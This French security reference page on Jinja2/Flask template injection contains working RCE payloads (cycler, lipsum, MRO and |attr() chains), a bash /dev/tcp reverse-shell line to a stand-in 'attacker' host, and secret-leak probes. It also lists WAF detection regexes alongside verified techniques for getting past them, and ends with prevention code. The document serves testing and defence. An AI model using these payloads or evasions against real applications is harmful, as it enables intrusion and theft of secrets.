Injection de template côté serveur dans Jinja2 (Python/Flask) : RCE via les chaînes __class__.__mro__ et les globals cycler/lipsum.
{{7*7}} → 49 ; {{7*'7'}} → 7777777 confirme Jinja2 (Twig retourne 49)''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True) atteint subprocess.Popen{{ cycler.__init__.__globals__.os.popen('id').read() }} — fonctionne contre l'environnement par défaut qu'utilise render_template_string() de Flask ; SandboxedEnvironment le refuse{{ config.SECRET_KEY.fail() }} fuite secrets via trace d'exceptionrender_template('fichier.html', var=entree) — jamais render_template_string(entree_utilisateur)Jinja2 est le moteur de templates par défaut pour Flask et une bibliothèque Python largement utilisée dans les extensions Django et les applications Python autonomes. La SSTI dans Jinja2 se produit quand une entrée contrôlée par l'utilisateur est passée comme source du template à render_template_string() ou jinja2.Template() plutôt que comme variable de rendu à un fichier de template précompilé. Le moteur Jinja2 lexicalise et évalue l'entrée de l'attaquant comme syntaxe de template exécutable, permettant l'accès au modèle objet introspectif de Python et finalement au système d'exploitation.
L'impact de la SSTI Jinja2 est typiquement l'exécution de code à distance. Le modèle objet de Python rend fiable le passage du contexte de template au système d'exploitation sans nécessiter d'importations : chaque objet Python expose sa hiérarchie de classes via __class__.__mro__, et depuis object (la racine), __subclasses__() énumère chaque classe chargée y compris subprocess.Popen. Le moteur Jinja2 expose aussi des globals intégrés — cycler, joiner, lipsum, namespace — qui portent des attributs __globals__ fournissant un accès direct au module os. Ce chemin est la route la plus rapide vers le RCE contre un environnement par défaut, celui-là même que rend render_template_string() de Flask (app.jinja_env.sandboxed vaut False). Ces globals restent définis dans SandboxedEnvironment également, mais le sandbox y refuse l'accès aux attributs __init__/__globals__ avec une SecurityError — voir la FAQ pour le comportement vérifié sur Jinja2 3.1.6.
Le pattern de code vulnérable dans Flask :
# VULNÉRABLE — user_name est la SOURCE du template
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/salutation")
def salutation():
nom = request.args.get("nom", "Monde")
return render_template_string(f"Bonjour {nom}!") # vecteur SSTIL'attaquant soumet :
GET /salutation?nom={{7*7}} HTTP/1.1
Host: flask-vulnerable.example.comRéponse : Bonjour 49! — Jinja2 a évalué 7*7. Chemin d'escalade :
# Étape 1 — Confirmer Jinja2 ({{7*'7'}} → 7777777 Jinja2, 49 Twig)
{{7*7}}
# Étape 2 — Dump des clés de config Flask
{{ config.items() }}
# Retourne : [('SECRET_KEY', 'super-secret'), ('DEBUG', True), ...]
# Étape 3 — RCE via contournement cycler globals (préféré : indépendant de la version)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Étape 3 (alternative) — contournement lipsum (accès dictionnaire, bypass notation par point)
{{ lipsum.__globals__['os'].popen('id').read() }}| Variante | Payload | Condition | Impact |
|---|---|---|---|
| Évaluation math | {{7*7}} | Tout Jinja2 | Confirmation du moteur |
| Dump de config | {{ config.items() }} | Contexte Flask | Fuite SECRET_KEY, URI DB |
| Traversée MRO | ''.__class__.__mro__[1].__subclasses__()[N]('id',shell=True) | Env. standard | RCE via subprocess.Popen |
| Contournement cycler | cycler.__init__.__globals__.os.popen('id').read() | Env. par défaut (non sandboxé) | RCE contournant filtre class |
| Contournement lipsum | lipsum.__globals__['os'].popen('id').read() | Env. par défaut (non sandboxé) | RCE via accès dict |
Bypass |attr() | request|attr('application')|attr('__globals__')... | Contexte request, env. par défaut | RCE contournant blocklist mots-clés |
| Exfil error-based | {{ config.SECRET_KEY.fail() }} | Tout (SSTI aveugle) | Fuite config via exception |
| Shell inversé | cycler.__init__.__globals__.os.popen('bash -i >&/dev/tcp/attacker/4444 0>&1') | Accès réseau | Shell interactif complet |
|attr() seul ne contourne que les filtres qui pattern-matchent l'accès par notation point (\.\w+) — le nom de l'attribut lui-même (__globals__, __class__, …) reste présent comme sous-chaîne littérale dans la requête, donc un WAF à scan de mots-clés le détecte toujours. Le contournement complet des règles de mots-clés/regex littéraux nécessite de combiner |attr() avec des noms d'attributs échappés en hex — voir Règles de détection & contournement WAF ci-dessous pour le mécanisme vérifié et les signatures qu'il déjoue.
# Contournement de la notation par point uniquement — "__globals__" reste une sous-chaîne
# littérale, capturée par les scanners de mots-clés
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() }}HackerOne #423541 — Fuite de SECRET_KEY Flask (prime de 3 000$)
Une API Flask publique acceptait un paramètre nom et utilisait render_template_string(f"Bonjour {nom}!"). Un chercheur a soumis {{ config.SECRET_KEY }} et a reçu la clé de signature de l'application en clair. Avec la clé, des cookies de session et des tokens JWT pouvaient être forgés, accordant un accès administrateur. Le correctif consistait à remplacer render_template_string par render_template("salutation.html", nom=nom).
CVE-2024-56201 — Évasion de sandbox du compilateur Jinja2 via un nom de fichier malveillant (CVSS 3.1 8.8 selon le NIST)
Jinja2 avant 3.1.5 avait un bug dans son compilateur : un attaquant contrôlant à la fois le nom d'un template et son contenu — pas seulement la source passée à render_template_string — pouvait exécuter du code Python arbitraire, sans que le sandbox n'offre de protection. Le NIST note cette CVE CVSS 3.1 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ; le score CVSS 4.0 propre à GitHub pour la même faille est nettement plus bas, à 5.4, reflétant les critères d'attaque plus stricts de ce modèle. Corrigé dans Jinja2 3.1.5.
Pattern d'aperçu de template d'email — SSTI applicative courante
Un pattern récurrent : un système de notifications email permet aux utilisateurs de personnaliser des templates avec des variables {{ user.name }}. L'endpoint de prévisualisation rend les templates fournis par l'utilisateur via render_template_string(). Un attaquant soumet {{ config.MAIL_PASSWORD }} pour exfiltrer les identifiants SMTP silencieusement. Le correctif utilise uniquement des templates précompilés avec les données utilisateur comme variables.
Les globals Jinja2 cycler, joiner, lipsum et namespace exposent __globals__ contenant le module os, et atteignent le RCE en une seule expression contre un environnement par défaut — celui qu'utilise render_template_string() de Flask, puisque app.jinja_env.sandboxed vaut False. Vérifié sur Jinja2 3.1.6, jinja2.sandbox.SandboxedEnvironment bloque bien cette chaîne (SecurityError sur __init__ / __globals__), mais le sandbox est une mitigation avec son propre historique d'évasions (CVE-2025-27516, corrigée en 3.1.6) — pas un permis de rendre une source de template non fiable.
{{7*7}} — réponse 49 confirme un moteur {{}}.{{7*'7'}} — 7777777 confirme Jinja2 ; 49 confirme Twig.{{ config }} ou {{ config.items() }} — un dict Python avec les clés de config Flask confirme le contexte Flask/Jinja2.{{ config.SECRET_KEY.fail() }} — une AttributeError 500 peut révéler la valeur.${{<%[%'"}}%\ — jinja2.exceptions.TemplateSyntaxError: unexpected '<' confirme Jinja2.# SSTImap v1.3.0 — spécifique Jinja2 avec error-based Korchagin
sstimap -u "http://cible.com/salutation?nom=*" --engine Jinja2
# tplmap — legacy stable
tplmap.py -u "http://cible.com/salutation?nom=*"
# Semgrep SAST — détection au moment du développement
semgrep --config "p/flask" /chemin/vers/app/
# Règle : python.flask.security.injection.tainted-string-formatToute règle de WAF ou d'IDS ciblant la SSTI Jinja2 se résume in fine à un pattern-matching de la syntaxe des délimiteurs de template ({{ }} / {% %}) combiné à une liste de mots-clés d'attributs dangereux. Comme Jinja2 expose ces chemins dangereux sous forme de noms d'attributs Python littéraux — __class__, __mro__, __subclasses__, __globals__, __builtins__, __import__ — et un petit ensemble de globals toujours présents (cycler, lipsum, joiner, namespace), la plupart des jeux de règles WAF en production convergent vers les mêmes signatures regex. Cette section documente ces signatures et les techniques vérifiées qui contournent chacune d'elles — distinctes de la détection générique multi-moteurs couverte sur la page pilier SSTI.
# 1. Délimiteur + mot-clé d'attribut dangereux — la forme de règle WAF/IDS la plus courante
\{\{.*(__class__|__mro__|__subclasses__|__globals__|__builtins__|__import__).*\}\}
# 2. Globals "libres" spécifiques à Jinja2 — cycler/lipsum/joiner/namespace sont
# toujours définis et, dans un environnement par défaut (non sandboxé), atteignent
# os via __globals__ sans aucun objet request ni config ; plusieurs jeux de règles
# publics ciblent directement ces noms
\{\{\s*(cycler|lipsum|joiner|namespace)\b
# 3. Traversée d'attribut via chaîne de filtres — capture l'abus de |attr()
\|\s*attr\s*\(
# 4. Flux de contrôle par balises de statement utilisé pour le RCE, pas pour du rendu conditionnel
\{%\s*(for|if|set|with)\b[^%]*(__class__|__subclasses__|__globals__)
# 5. Sondes de dump de config/secrets
\{\{\s*config\bCes cinq signatures reposent toutes sur la présence, non échappée, de la chaîne dangereuse dans la requête brute. C'est exactement cette hypothèse que chaque contournement vérifié ci-dessous exploite.
Chacune des techniques ci-dessous déjoue une règle d'inspection de requête — une signature WAF ou une blocklist de mots-clés applicative. Aucune n'échappe à jinja2.sandbox.SandboxedEnvironment : vérifié sur Jinja2 3.1.6, |attr('\x5f\x5fclass\x5f\x5f'), ["__class__"] et .__class__ se résolvent tous en Undefined sous le sandbox, et la chaîne par balises de statement lève SecurityError. Elles supposent un environnement par défaut — le cas réaliste pour render_template_string().
# 1. Noms d'attributs échappés en hex/unicode -- le lexer de Jinja2 lui-même décode
# chaque littéral string via le codec Python `unicode-escape` (jinja2/lexer.py),
# donc l'échappement hex \x5f se rend en "_" à l'évaluation (Jinja2 accepte
# aussi la forme d'échappement unicode équivalente préfixée par u) sans jamais
# apparaître comme le sous-chaîne littérale "__" recherchée par la signature #1.
# Chaîne RCE complète, attribuée à @SecGus :
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
# 2. Concaténation via paramètres séparés — le mot-clé dangereux n'apparaît jamais
# assemblé dans un seul champ, seulement reconstruit par le filtre |join de
# Jinja2 au moment du rendu.
# Requête : GET /?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{ request|attr([request.args.usc*2, request.args.class, request.args.usc*2]|join) }}
# 3. Traversée par balises de statement — contourne la signature #1 (qui ne scanne
# que les blocs d'expression {{ }}) en répartissant le gadget entre balises
# {% for %}/{% if %}, et évite de coder en dur l'index de __subclasses__() en
# faisant correspondre le nom de classe à l'exécution :
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}{% endif %}{% endfor %}
# 4. Notation par crochets — contourne les filtres ciblant uniquement la notation par point ("\.\w+")
{{ request["__class__"] }}Les règles WAF regex/mots-clés pour la SSTI Jinja2 sont structurellement fragiles : la grammaire des littéraux string de Jinja2 accepte les mêmes séquences d'échappement de style Python (\xHH, \uHHHH) que le lexer CPython, donc tout nom d'attribut dangereux blacklisté par un WAF peut être ré-encodé sans changer ce que Jinja2 exécute. Le seul contrôle durable consiste à éliminer render_template_string(entree_utilisateur) — voir Prévention ci-dessous — pas une liste de mots-clés plus longue.
La page SSTI Twig documente la sonde équivalente de différenciation de moteur {{7*'7'}} pour les stacks Symfony/PHP — la syntaxe des délimiteurs est quasi identique, ce qui explique pourquoi les règles WAF qui ne matchent que {{ }} génériquement produisent des faux positifs entre moteurs et des faux négatifs contre les payloads en {% %} uniquement. Cette lacune de détection est l'une des raisons pour lesquelles la catégorie injection du Top 10 2025 d'OWASP traite l'injection de template comme un sous-ensemble de défaillances systémiques de gestion des entrées plutôt que comme un pattern unique signature-matchable.
La détection Jinja2 de BreachVex superpose la paire de sondes arithmétiques, le polyglotte Korchagin et les callbacks out-of-band (couverts plus haut) à une confirmation comportementale agnostique aux signatures — elle ne repose pas sur le matching de __class__/__globals__ comme chaînes littérales, donc les contournements par échappement hex et par paramètres séparés ci-dessus ne la contournent pas.
# VULNÉRABLE
@app.route("/salutation")
def salutation():
nom = request.args.get("nom")
return render_template_string(f"Bonjour {nom}!") # SSTI
# SÉCURISÉ
@app.route("/salutation")
def salutation():
nom = request.args.get("nom")
return render_template("salutation.html", nom=nom) # sécurisé<!-- templates/salutation.html -->
<!-- Jinja2 échappe automatiquement le HTML dans les templates .html -->
<p>Bonjour {{ nom }}!</p>from jinja2.sandbox import SandboxedEnvironment
from jinja2 import StrictUndefined
env = SandboxedEnvironment(
autoescape=True,
undefined=StrictUndefined
)
env.globals.clear() # CRITIQUE : supprime cycler, joiner, lipsum, namespace
env.filters = { # allowlist seulement les filtres sûrs
'escape': env.filters['escape'],
'upper': env.filters['upper'],
'lower': env.filters['lower'],
}
tmpl = env.from_string(user_provided_template)
result = tmpl.render(nom=safe_value)La SSTI Jinja2 se produit quand une entrée contrôlée par l'utilisateur est passée comme source de template à render_template_string() ou Template() dans des applications Flask/Python. Le moteur Jinja2 évalue les expressions de l'attaquant, permettant la traversée d'objets via la chaîne MRO de Python pour atteindre os.popen() ou subprocess, conduisant au RCE.
Les classes Python exposent __mro__ listant la chaîne d'héritage jusqu'à object. Tout objet Python peut atteindre __subclasses__(), qui énumère toutes les classes chargées. Parmi celles-ci, subprocess.Popen peut être trouvé et appelé : ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate(). L'index N varie selon la version Python.
Le builtin cycler de Jinja2 est disponible dans tout environnement de template sauf effacement explicite. Dans un environnement par défaut, non sandboxé — exactement celui qu'utilise render_template_string() de Flask — son __init__.__globals__ expose le module os directement : {{ cycler.__init__.__globals__.os.popen('id').read() }}. Ce contournement évite les filtres sur __class__, __mro__ et __subclasses__ tout en atteignant le RCE en une seule expression. C'est un contournement de filtre, pas de sandbox : sous jinja2.sandbox.SandboxedEnvironment la même expression lève SecurityError (vérifié sur Jinja2 3.1.6).
Contre les chaînes de gadgets publiées via les globals, oui. Vérifié sur Jinja2 3.1.6 : cycler.__init__.__globals__ et lipsum.__globals__['os'] lèvent tous deux SecurityError dans SandboxedEnvironment, et |attr('__globals__') retourne Undefined. Les globals eux-mêmes restent définis — ce que le sandbox refuse, c'est l'accès aux attributs dunder qui les transforme en gadget. Là où SandboxedEnvironment a réellement échoué, c'est sur ses propres CVE d'évasion : CVE-2025-27516 (évasion via le filtre attr atteignant str.format, corrigée en 3.1.6), CVE-2024-56326 (référence indirecte à str.format, corrigée en 3.1.5), CVE-2019-10906 (str.format_map, corrigée en 2.10.1). Garder Jinja2 à jour, effacer env.globals, restreindre les filtres — et traiter le sandbox comme une défense en profondeur, jamais comme le contrôle.
CVE-2024-56201 : un bug du compilateur Jinja2 permettant à un attaquant contrôlant à la fois le nom et le contenu d'un template d'exécuter du code Python arbitraire, en contournant totalement le sandbox (CVSS 3.1 8.8 selon le NIST ; le score CVSS 4.0 propre à GitHub est de 5.4 — corrigé dans 3.1.5). CVE-2020-28493 : ReDoS Jinja2 (CVSS 7.5). La plupart des SSTI Jinja2 sont au niveau applicatif : HackerOne #423541 (fuite de Flask SECRET_KEY via render_template_string, prime de 3 000$).
|attr('__class__') est équivalent à .__class__ mais évite les filtres littéraux sur les noms d'attributs, côté application ou côté WAF quand la règle cible la notation par point. La chaîne complète : request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() atteint le RCE contre un environnement par défaut, en contournant les blocklists de mots-clés. C'est un contournement de filtre, pas de sandbox — vérifié sur Jinja2 3.1.6, |attr('__globals__') sous SandboxedEnvironment retourne Undefined. La seule véritable évasion de sandbox par ce filtre est CVE-2025-27516 (|attr('format') atteignant str.format), corrigée en 3.1.6.
La technique 'Successful Errors' de Korchagin (PortSwigger Top 10 2025, Rang #1) déclenche délibérément une exception contenant les données cibles dans la trace d'erreur. Dans Jinja2 : {{ config.SECRET_KEY.nonexistent() }} lève AttributeError avec la valeur SECRET_KEY visible dans le message d'erreur. Cela convertit la SSTI aveugle en exfiltration de données en bande.
Le global lipsum de Jinja2 expose __globals__ similairement à cycler. Dans un environnement par défaut, non sandboxé, {{ lipsum.__globals__['os'].popen('id').read() }} atteint le RCE via l'accès par dictionnaire plutôt que par attribut, contournant les filtres qui bloquent la notation par point. Ce contournement est inclus dans le set de payloads Jinja2 de SSTImap v1.3.0. Sous SandboxedEnvironment il ne fonctionne pas : vérifié sur Jinja2 3.1.6, lipsum.__globals__ se résout en Undefined et son indexation lève SecurityError.
Utiliser jinja2.sandbox.SandboxedEnvironment avec env.globals.clear(), définir env.filters aux seuls filtres sûrs, et utiliser undefined=StrictUndefined. Garder Jinja2 à jour — le sandbox lui-même a eu des CVE d'évasion, la plus récente étant CVE-2025-27516, corrigée en 3.1.6. Considérer si les templates définis par l'utilisateur sont vraiment requis — un DSL contraint est plus sûr que n'importe quelle configuration sandbox.
L'index de subprocess.Popen dans __subclasses__() varie selon la version Python et les modules chargés. En Python 3.9, il se situe typiquement autour de 258-300. Une approche fiable consiste à itérer et vérifier le nom de la classe. Contre un environnement par défaut, les contournements via les globals cycler/lipsum/joiner sont indépendants de la version Python et plus fiables pour l'exploitation.
Soumettre {{7*'7'}} — Jinja2 retourne 7777777 (répétition de chaîne en Python), tandis que Twig retourne 49 (coercition numérique en PHP). Cette sonde unique identifie définitivement Jinja2 vs Twig et doit précéder toute tentative d'exploitation.